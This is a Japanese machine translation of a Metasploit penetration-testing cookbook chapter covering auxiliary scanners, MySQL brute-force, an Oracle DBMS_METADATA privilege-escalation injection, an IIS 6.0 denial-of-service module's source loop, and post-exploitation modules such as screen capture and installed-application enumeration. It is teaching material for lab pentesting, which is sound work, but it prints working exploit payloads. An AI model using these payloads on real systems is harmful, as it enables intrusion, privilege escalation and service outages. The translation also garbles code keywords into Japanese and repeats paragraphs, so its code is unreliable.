Metasploit侵入テストクックブック-パート7

第7回Metasploit侵入テストクックブックの翻訳



metasploitクックブック



第7章モジュールの使用



この章では、次のことを検討します。





はじめに



最初の章では、Metasploitの基本について説明しました。 モジュラーアーキテクチャを持っているという事実から始めました。 これは、すべてのエクスプロイト、ペイロード、エンコーダーなどを意味します。 モジュールの形で存在します。 モジュラーアーキテクチャにより、フレームワークの機能を簡単に拡張できます。 プログラマーは独自のモジュールを開発し、Metasploitフレームワークに簡単に組み込むことができます。 侵入テストプロセスには、システム運用中にいくつかのモジュールが含まれる場合があります。 たとえば、運用モジュールから始め、ペイロードモジュールの使用を開始し、運用後モジュールをいくつか使用できます。 最後に、データベースに接続するためのさまざまなモジュールを使用して、結論と結果を保存できます。



この章では/ pentest / exploits / framework3 / modulesディレクトリに焦点を当てています。このディレクトリには、侵入テストに役立つ有用なモジュールの完全なリストが含まれています。



補助スキャンモジュールを使用する



スキャンモジュールから始めましょう。 nmapについて話し合ったとき、すでにスキャンについて詳細に研究していました。 このレシピでは、Metasploitに付属している既製のモジュールのいくつかを分析します。 nmapは強力なスキャンツールですが、MySQLデータベースの存在をスキャンするなど、特別なタイプのスキャンが必要な場合があります。 利用可能なスキャナーのリストを見つけるには、 / pentest / exploits / framework3 / modules / auxiliary / scannerに移動する必要があります 。 基本的なHTTPスキャナーから始めましょう。



dir_scannerを検討してください 。 スクリプトはホストまたはネットワーク全体をスキャンして、情報を収集するためにさらに調査できる興味深いディレクトリリストを見つけます。



 msf>補助/スキャナー/ http / dir_scannerを使用 
 msf補助(dir_scanner)>オプションを表示 
モジュールオプション(補助/スキャナー/ http / dir_scanner):
名前現在の設定必須説明
 ---- --------------- -------- -----------
 DICTIONARY /opt/metasploit/msf3/data/wmap/wmap_dirs.txt no使用する単語辞書のパス
 PATH / yesファイルを識別するパス
 RHOSTSはいターゲットアドレス範囲またはCIDR識別子
 RPORT 80はいターゲットポート
スレッド1はい同時スレッドの数
 VHOST HTTPサーバー仮想ホストなし


show optionsコマンドは、モジュールで有効にできる利用可能なオプションを表示します。



特定の例を見てみましょう。 mysql_loginモジュールは、MySQLサーバーの存在をターゲットでスキャンし、見つかった場合、ブルートフォースを使用してデータベースにアクセスして攻撃を試みます。



  msf>補助/スキャナー/ mysql / mysql_loginを使用 
 msf>表示オプション 

モジュールオプション(auxiliary / scanner / mysql / mysql_login):

名前現在の設定必須説明
 ---- --------------- -------- -----------
 BLANK_PASSWORDS true noすべてのユーザーに対して空のパスワードを試す
 BRUTEFORCE_SPEED 5 yesブルートフォースの速度、0〜5
パスワードいいえ認証に使用する特定のパスワード
 PASS_FILE noパスワードを含むファイル、1行に1つ
 RHOSTSはいターゲットアドレス範囲またはCIDR識別子
 RPORT 3306はいターゲットポート
 STOP_ON_SUCCESS false yesホストの資格情報が機能するときに推測を停止します
スレッド1はい同時スレッドの数
 USERNAMEいいえ認証する特定のユーザー名
 USERPASS_FILE noスペースで区切られたユーザーとパスワードを含むファイル、1行に1ペア
 USER_AS_PASS true noすべてのユーザーのパスワードとしてユーザー名を試してください
 USER_FILE noユーザー名を含むファイル、1行に1つ
 VERBOSE true yesすべての試行の出力を印刷するかどうか 


ご覧のとおり、モジュールには多くのパラメーターが含まれています。 ユーザー名とパスワードを使用してファイルを指定できます。 これをやってみましょう:



  msf補助(mysql_login)> USER_FILE /users.txtを設定
 USER_FILE => /users.txt
 msf補助(mysql_login)> PASS_FILE /pass.txtを設定
 PASS_FILE => /pass.txt 


これで、ブルータスを使用する準備が整いました。 目標を指定してモジュールを実行することは残ります。



  msf補助(mysql_login)> RHOSTS 192.168.56.101を設定
 RHOSTS => 192.168.56.101
 msf補助(mysql_login)>実行
 [*] 192.168.56.101 {306-リモートMySQLバージョン5.0.51aが見つかりました
 [*] 192.168.56.101 {306ユーザー名:「administrator」とパスワード: ''を試行しています


結論は、モジュールがターゲット上のMySQLサーバーを検索することでプロセスを開始したことを示しています。 その後、彼はファイルにあるユーザー名/パスワードの組み合わせを代用し始めました。



補助管理モジュールを使用する



いくつかの管理モジュールを学びましょう。 モジュールは、管理パネルの検索やデフォルトのユーザー名/パスワードの確認など、さまざまな目的に使用できます。 それはすべて機能に依存します。 mysql_enumを検討してください



  msf>補助/管理/ mysql / mysql_enumを使用 
 msf>表示オプション 

モジュールオプション(auxiliary / admin / mysql / mysql_enum):

名前現在の設定必須説明
 ---- --------------- -------- -----------
 PASSWORD no指定されたユーザー名のパスワード
 RHOSTはいターゲットアドレス
 RPORT 3306はいターゲットポート
 USERNAMEいいえ認証するユーザー名 


ご覧のとおり、モジュールはログイン、パスワード、 RHOSTパラメーター受け入れます 。 MySQLデータベースを見つけるためだけでなく、ブルートのためにも使用できます。 コマンドの実行を分析します。



  msf補助(mysql_enum)>エクスプロイト
 [*]構成パラメーター:
 [*] C2監査モードが有効になっていません
 [*] xp_cmdshellは有効です
 [*]リモートアクセスは有効です
 [*]更新を許可しない
 [*]データベースメールXPが有効になっていません
 [*] Ole自動化手順が有効になっていない
 [*]サーバー上のデータベース:
 [*]データベース名:マスター 


モジュールは多くの有用な情報を返します。 彼は、ターゲットMySQLでcmdshellとリモートアクセスが有効になっていることを教えてくれます。 また、ターゲットマシンでプロセスとして実行されているデータベースの名前を返します。



MSSQLやApacheなど、他のサービス用の同様のモジュールがいくつかあります。 動作原理は誰でも同じです。 必ずshow optionsコマンドを使用して、必要なパラメーターを確実に渡すようにしてください。



SQLインジェクションとDOSモジュール



SQLインジェクションモジュールは既知の脆弱性を使用し、その使用を入力して不正アクセスを提供します。 脆弱性はOracle 9iおよび10gに影響することが知られています。 Metasploitには、Oracleの既知の脆弱性を使用するいくつかのモジュールが含まれています。 モジュールは、 modules / auxiliary / sqli / oracleにあります。



Oracleの脆弱性Oracle DBMS_METADATA XMLを分析しましょう 。 この脆弱性により、権限がDB_USERからDB_ADMINISTRATORDBA )にエスカレートされます。 dbms_metadata_get_xmlモジュールを使用します。



  msf>補助/ sqli / oracle / dbms_metadata_get_xmlを使用 
 msf>表示オプション 

モジュールオプション(補助/ sqli / oracle / dbms_metadata_get_xml):

名前現在の設定必須説明
 ---- --------------- -------- -----------
 DBPASS TIGERはい認証に使用するパスワード。
 DBUSER SCOTTはい認証に使用するユーザー名。
 RHOSTはいOracleホスト。
 RPORT 1521はいTNSポート。
 SID ORCL yes認証に使用するsid。
 SQL GRANT DBA to SCOTT no SQL to execute。 


データベースは最初に、デフォルトの資格情報scottおよびtigerを使用してログインをチェックします。 モジュールは、データベースユーザーとしてログインを受け取ると、悪意のあるコードを実行して権限をデータベース管理者に昇格させます。



  msf補助(dbms_metadata_get_xml)> set RHOST 192.168.56.1
 msf補助(dbms_metadata_get_xml)> set SQL YES
 msf補助(dbms_metadata_get_xml)>実行 


次に検討するモジュールは、サービス拒否(DOS)攻撃に関連しています。 IIS 6.0の単純な脆弱性を分析します。この脆弱性により、攻撃者は40,000を超えるリクエストパラメーターを含むPOSTリクエストを送信してサーバーをクラッシュさせることができます。 このモジュールは、IIS 6.0を実行しているパッチ未適用のWindows 2003サーバーでテストされました。 モジュールとしてms10_065_ii6_asp_dosを使用します。



  msf>補助を使用/ dos / windows / http / ms10_065_ii6_asp_dos
 msf補助(ms10_065_ii6_asp_dos)> show options
モジュールオプション(補助/ dos / windows / http / ms10_065_ii6_asp_dos):

   名前現在の設定必須説明
    ---- --------------- -------- -----------
    RHOSTはいターゲットアドレス
    RPORT 80はいターゲットポート
    URI /page.aspはい要求するURI
    VHOST noリクエストで使用する仮想ホスト名

 msf補助(ms10_065_ii6_asp_dos)> RHOST 192.168.56.1の設定RHOST => 192.168.56.1
 msf補助(ms10_065_ii6_asp_dos)>実行
 [*] http://192.168.56.1:80/page.aspを攻撃しています 


runコマンドの後、モジュールはpage.aspの形式のURIを使用してポート80にHTTP要求を送信することにより、ターゲットIISサーバーを攻撃し始めます。 モジュールが正常に実行されると、IISサーバーのサービスが完全に拒否されます。



Oracleデータベースの脆弱性は、SYSコンテキストで実行されるユーザー定義のPL / SQL関数を挿入することで悪用され、これにより管理者としてのscottユーザーの権限が昇格されます。

2つの脆弱性を見てみましょう。 Oracle Database Vulnerability by Vulnerabilityは、 SYSのコンテキストで実行され、scottユーザーの権限を管理者に昇格させるユーザー定義のPL / SQL関数を挿入することにより実行されます

関数の例:



   関数「SCOTT」の作成または置換「ATTACK_FUNC」は、varchar2 authid current_userをプラグマAutonomous_transactionとして返します。
   すぐに「スコットにDBAを付与する」を実行します。
    COMMIT;
   リターン '';
   終了 




この関数は、scottユーザーの特権をエスカレートします。

  SELECT SYS.DBMS_METADATA.GET_DDL( '' '|| SCOTT.ATTACK_FUNC()||' ''、 '')
 FROM dual; 


前のコード行は、注入プロセスを説明しています。 Oracleソフトウェアの脆弱性の詳細な分析は、本/翻訳の範囲を超えています。



現在、IIS 6.0サーバーの脆弱性を使用するDOS攻撃モジュールがあります。 攻撃者は、40,000を超える要求パラメーターを含むPOST要求を送信します。この要求は、エンコードタイプであるapplication / x-www-form-urlencodedという形式で送信されます。 モジュールとして機能するスクリプトの一部を次に示します。



次に、IIS 6.0サーバーの脆弱性を悪用するDOS攻撃のモジュールを検討します。 攻撃者は、40,000を超えるリクエストパラメータを含むPOSTリクエストを送信し、 application / x-www-form-urlencodedの形式でエンコードタイプを送信します。



 while(1)begin payload = "C = A&" * 40000 length = payload.size sploit = "HEAD#{datastore ['URI']} HTTP / 1.1 \ r \ n" sploit << "Host:#{datastore ['VHOST'] || rhost} \ r \ n "sploit <<"接続:閉じる\ r \ n "sploit <<" Content-Type:application / x-www-form-urlencoded \ r \ n "sploit < <"Content-Length:#{length} \ r \ n \ r \ n" sploit << payload sock.put(sploit)#print_status( "DoS packet sent。")レスキューErrnoの切断:: ECONNRESET next end end 


ご覧のとおり、スクリプトは40,000を超えるペイロードサイズを生成します。その後、ポート80で接続が確立され、IISサーバーにHTTPリクエストが送信されます。 要求がサーバーに転送された後、要求はクラッシュし、動作を停止します。



ポストプロダクションモジュール



ペンテストのスキルを向上させることができるモジュールの個別の専用リストがあります。 これらは操作後のモジュールであるため、目標を設定したアクティブなセッションが必要です。 前の章で説明した方法のいずれかを使用して、ターゲットにアクセスできます。



ポストモジュール-侵入テスト中に使用できる最も興味深い便利な機能のコレクション。 それらのいくつかをすばやく分析しましょう。 アクティブなmeterpreterセッションで、切れ目のないWindows 7を使用します。



簡単なenum_logged_on_usersモジュールから始めましょう。 Windowsにログインしているユーザーのリストが表示されます。



  meterpreter> getsystem
 ...システムを取得しました(手法4を使用)。
 meterpreter>実行投稿/ウィンドウ/収集/ enum_logged_on_users
 [*]セッション1に対して実行
現在ログインしているユーザー
 ======================
 SIDユーザー
 --- ----
 S-1-5-21-2350281388-457184790-407941598 DARKLORD-PC \ DARKLORD
最近ログインしたユーザー
 ======================
 SIDプロファイルパス
 --- ------------
 S-1-5-18%systemroot%\ system32 \ config \ systemprofile
 S-1-5-19 C:\ Windows \ ServiceProfiles \ LocalService
 S-1-5-20 C:\ Windows \ ServiceProfiles \ NetworkService
 S-1-5-21-23502 C:\ユーザー\ DARKLORD
 S-1-5-21-235 C:\ユーザー\ Winuser 


モジュールが正常に実行されると、2つのテーブルが表示されます。 最初の表はログインしているユーザーを示し、2番目の表は最近ログインしたユーザーを示しています。



別の例を見てみましょう。 ターゲットマシンの画面のスクリーンショットを撮る興味深いポストモジュールがあります。



  meterpreter>投稿の実行/ windows /収集/ screen_spy
  [*] explorer.exe pidへの移行:1104
  [*]移行成功
  [*] 5秒の遅延で60個のスクリーンショットをキャプチャする 


modules / post / windows / gatherenum_logged_on_user.rbおよびscreen_spy.rbスクリプトを分析できます 。 これらは、これらのモジュールがどのように機能するかを理解するのに役立ちます。



モジュール作成の基本



独自のモジュールの作成を開始するには、Rubyの基本的な知識が必要です。 meterpreterスクリプトでのRubyの使用と実装についてはすでに説明しました。

基本から始めましょう。 モジュールをMetasploitで読み取り可能にするには、MSFライブラリをインポートする必要があります。

「msf / core」が必要



この行は、モジュールにMetasploitフレームワークのすべての依存関係と機能が含まれることを示しています。

クラスMetasploit3 <Msf ::補助

この行は、補助ファミリのプロパティを継承するクラスを定義します。 補助モジュールは、スキャン、接続のオープン、データベースの使用など、いくつかの機能をインポートできます。



  Msfを含める:: 


includeステートメントは、特定のフレームワーク機能をモジュールに含めるために使用されます。 たとえば、スキャナーモジュールを構築している場合、次のように有効にできます。



  include Msf ::エクスプロイト::リモート:: TCP 


この行には、リモートTCPスキャン機能が含まれます。



  def初期化
               スーパー(
                      「名前」=>「TCPポートスキャナー」、
                      「バージョン」=>「$リビジョン$」、
                      「説明」=>「開いているTCPサービスを列挙する」、
                      '著者' => [ダークロード]、
                      'ライセンス' => MSF_LICENSE
  ) 


スクリプト行は、モジュール、その名前、バージョン、作成者、説明などに関する情報を提供します。



  register_options(
                 [
  OptString.new( 'PORTS'、[true、 "スキャンするポート(例:25,80,110-900)"、 "1-10000"])、
  OptInt.new( 'TIMEOUT'、[true、 "ミリ秒単位のソケット接続タイムアウト"、1000])、
  OptInt.new(「CONCURRENCY」、[true、「ホストごとにチェックする同時ポートの数」、10])、self.class)
  deregister_options( 'RPORT') 


モジュール分析



次に、ftpモジュールを分析します。 前のレシピで基本モジュールテンプレートについて既に説明したので、ここではスクリプトの主要部分から進めます。

分析のために、匿名FTPアクセスモジュールを使用します。 メインスクリプトは、 pentest / exploits / framework3 / modules / auxiliary / scanner / ftp / anonymous.rbにあります。

参照用の完全なスクリプト:



 クラスMetasploit3 <Msf ::補助

  include Msf ::エクスプロイト::リモート:: Ftp
  Msfを含める::補助::スキャナー
  Msfを含める::補助::レポート

 def初期化
              スーパー(
                     「名前」=>「匿名FTPアクセス検出」、
                     'バージョン' => '$リビジョン:14774 $'、
                     '説明' => '匿名(読み取り/書き込み)FTPサーバーアクセスを検出します。'、
                     '参照' => [['' URL '、' http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP ']、]、
                     '著者' => 'Matteo Cantoni <goony [at] nothink.org>'、
                     'ライセンス' => MSF_LICENSE
 )

 register_options([Opt :: RPORT(21)、]、self.class)
終わり

 def run_host(target_host)
                始める
                 res = connect_login(true、false)
                 banner.strip! バナーなら
                 dir = Rex :: Text.rand_text_alpha(8)

もしあれば
 write_check = send_cmd(['MKD'、dir]、true)

 if(write_checkおよびwrite_check =〜/ ^ 2 /)
 send_cmd(['RMD'、dir]、true)

 print_status( "#{target_host}:#{rport}匿名の読み取り/書き込み(#{banner})")
 access_type = "rw"
他に
 print_status( "#{target_host}:#{rport}匿名読み取り(#{banner})")
 access_type = "ro"
終わり
 report_auth_info(
                  :host => target_host、
                  :ポート=> rport、
                  :sname => 'ftp'、
                  :ユーザー=>データストア['FTPUSER']、
                  :pass => datastore ['FTPPASS']、
                  :type => "password _#{access_type}"、
                  :アクティブ=> true
 )
終わり
切断する
レスキュー::割り込み
 $を上げる!
レスキュー::レックス:: ConnectionError、:: IOError
終わり
終わり
終わり 


スクリプトの仕組みを分析しましょう。



  def run_host(target_host)
                始める
                 res = connect_login(true、false)
                 banner.strip! バナーなら
                 dir = Rex :: Text.rand_text_alpha(8) 


この関数は、接続を開始するために使用されます。 res変数には、ブール値trueまたはfalseが含まれますconnect_login関数は、リモートホストへの接続を確立します。



 もしあれば
       write_check = send_cmd(['MKD'、dir]、true)
       if(write_checkおよびwrite_check =〜/ ^ 2 /)
       send_cmd(['RMD'、dir]、true)
       print_status( "#{target_host}:#{rport}匿名の読み取り/書き込み(#{banner})")
       access_type = "rw"
      他に
       print_status( "#{target_host}:#{rport}匿名access_type =" ro " 


接続が確立されると、モジュールは匿名ユーザーに読み取り/書き込み権限があるかどうかを確認しようとします。 write_checkは、書き込み操作が可能かどうかをチェックします。 次に、操作が成功したかどうかを確認します。 特権のステータスに応じて、画面にメッセージが印刷されます。 書き込み操作が「失敗」した場合、ステータスはroまたは読み取り専用として出力されます。



  report_auth_info(
                  :host => target_host、
                  :ポート=> rport、
                  :sname => 'ftp'、
                  :ユーザー=>データストア['FTPUSER']、
                  :pass => datastore ['FTPPASS']、
                  :type => "password _#{access_type}"、
                  :アクティブ=> true
  )
 終わり 




これは、モジュールがフレームワークでどのように機能するかを示す小さなデモでした。 ニーズに合わせて既存のスクリプトを変更できます。

次の例では、独自のモジュールを作成してフレームワークにロードする方法を説明します。



ポストプロダクションモジュールの作成



ターゲットマシンにインストールされているすべてのアプリケーションをリストする小さなポストプロダクションモジュールを作成しましょう。



モジュールの作成から始めるには、まずライブラリのフレームワークをインポートし、必要な依存関係を含めます。



まず、ライブラリフレームワークをインポートし、必要な依存関係を有効にします。



  「msf / core」が必要
  「レックス」が必要
  「msf / core / post / windows / registry」が必要です

 クラスMetasploit3 <Msf :: Post 
  Msfを含める:: Post :: Windows :: Registry 
  def初期化(情報= {}) 
     super(update_info(info、 
           '名前' => 'Windowsはインストールされたアプリケーションの列挙を収集します'、
           '説明' =>%q {このモジュールはインストールされているすべてのアプリケーションを列挙します}、
           'ライセンス' => MSF_LICENSE、
           'プラットフォーム' => ['windows']、
           'SessionTypes' => ['meterpreter']
  )))
 終わり 


スクリプトはMetasploitコアライブラリで始まります。 次に、Msf :: Postモジュールのプロパティを拡張するクラスを作成します。



次に、モジュールのプロパティと説明の初期化と定義に使用される初期化関数を作成します。 この基本構造は、ほとんどすべてのモジュールで同じままです。



次に、モジュールのプロパティを初期化および決定するために使用される初期化関数を作成します。 この基本構造は、ほとんどすべてのモジュールで同じままです。



ここで、「レジストリ」ライブラリだけでなく「 rex 」も含めたことに注意してください。



次のステップは、抽出した結果を表示できるテーブルを作成することです。 このタスクを実行するために使用できる特別なライブラリRex :: Ui :: Textがあります。



  def app_list
   tbl = Rex :: Ui ::テキスト:: Table.new(
   「ヘッダー」=>「インストール済みアプリケーション」、
   'インデント' => 1
   '列' => ["名前"、 "バージョン"])

    appkeys = [
              「HKLM \\ソフトウェア\\ Microsoft \\ Windows \\ CurrentVersion \\アンインストール」、
              「HKCU \\ソフトウェア\\ Microsoft \\ Windows \\ CurrentVersion \\アンインストール」、
              「HKLM \\ソフトウェア\\ WOW6432NODE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall」、
              「HKCU \\ソフトウェア\\ WOW6432NODE \\ Microsoft \\ Windows \\ CurrentVersion \\ Uninstall」、
  ]

 アプリ= []
  appkeys.each do | keyx86 |
  found_keys = registry_enumkeys(keyx86)
  found_keysの場合
  found_keys.each do | ak |
 アプリ<< keyx86 + "\\" + ak
 終わり
 終わり
 終わり 


スクリプトの本体は、テーブルとさまざまな列名の作成から始まります。 その後、別の配列がレジストリに作成され、アプリケーションのリストを列挙するために使用されます。 アレイは、ターゲットコンピューターにインストールされているアプリケーションに関する情報を含むさまざまなレジストリ行で構成されます。 アプリケーションデータは、 appsと呼ばれる別の配列に格納されます



そのため、appskey配列に格納されているレジストリのさまざまな場所を調べるループを実行して、列挙の処理を開始します。 次に、列挙プロセスが開始され、レジストリ内のさまざまな場所を調べてappskey配列に格納されるサイクルが開始されます。



  t = []
      while(apps.emptyではない?)
     1.upto(16)do t << framework.threads.spawn( "Module(#{self.refname})"、false、apps.shift)do | k |
    始める
     dispnm = registry_getvaldata( "#{k}"、 "DisplayName")
     dispversion = registry_getvaldata( "#{k}"、 "DisplayVersion")
     tbl << [dispnm、dispversion] dispnmおよびdispversionレスキューの場合 
    終わり 
    終わり 


次のスクリプト行は、対応する列の異なる値でテーブルを埋めます。 このスクリプトは、組み込みのregistry_getvaldata関数を使用します。この関数は、値を取得してテーブルに追加します。



 結果= tbl.to_s
    print_line( "\ n" +結果+ "\ n")
    p = store_loot( "host.applications"、 "text / plain"、セッション、結果、 "applications.txt"、 "インストール済みアプリケーション")
    print_status(「結果の保存場所:#{p}」)
   終わり
    def run
    print_status( "#{sysinfo ['Computer']}にインストールされているアプリケーションの列挙")
    app_list
   終わり
   終わり 


スクリプトの最後の数行は、applications.txtという別のテキストファイルに情報を保存するために使用されます。 ファイルは、store_loot関数を使用して作成されます。この関数は、テーブル全体をテキストファイルに保存します。



スクリプトの最後の数行は、 applications.txtという別のテキストファイルに情報を保存するために使用されます 。 ファイルは、 store_loot関数を使用して作成されます。この関数は、テキストファイルに完全なテーブルを保存します。



最後に、ファイルが作成されたことを示す結果が画面に表示されます。 これは、フレームワークで独自のモジュールを作成および追加する方法の小さな例です。 Rubyスクリプトの知識が必要です。



ちなみに、ペンテスターのプロフェッショナルツールであるMetasploit Frameworkを習得したい方は、 Konstantin LevinのWebセミナーコースをお勧めします。MetasploitFramework を使用した侵入テスト



All Articles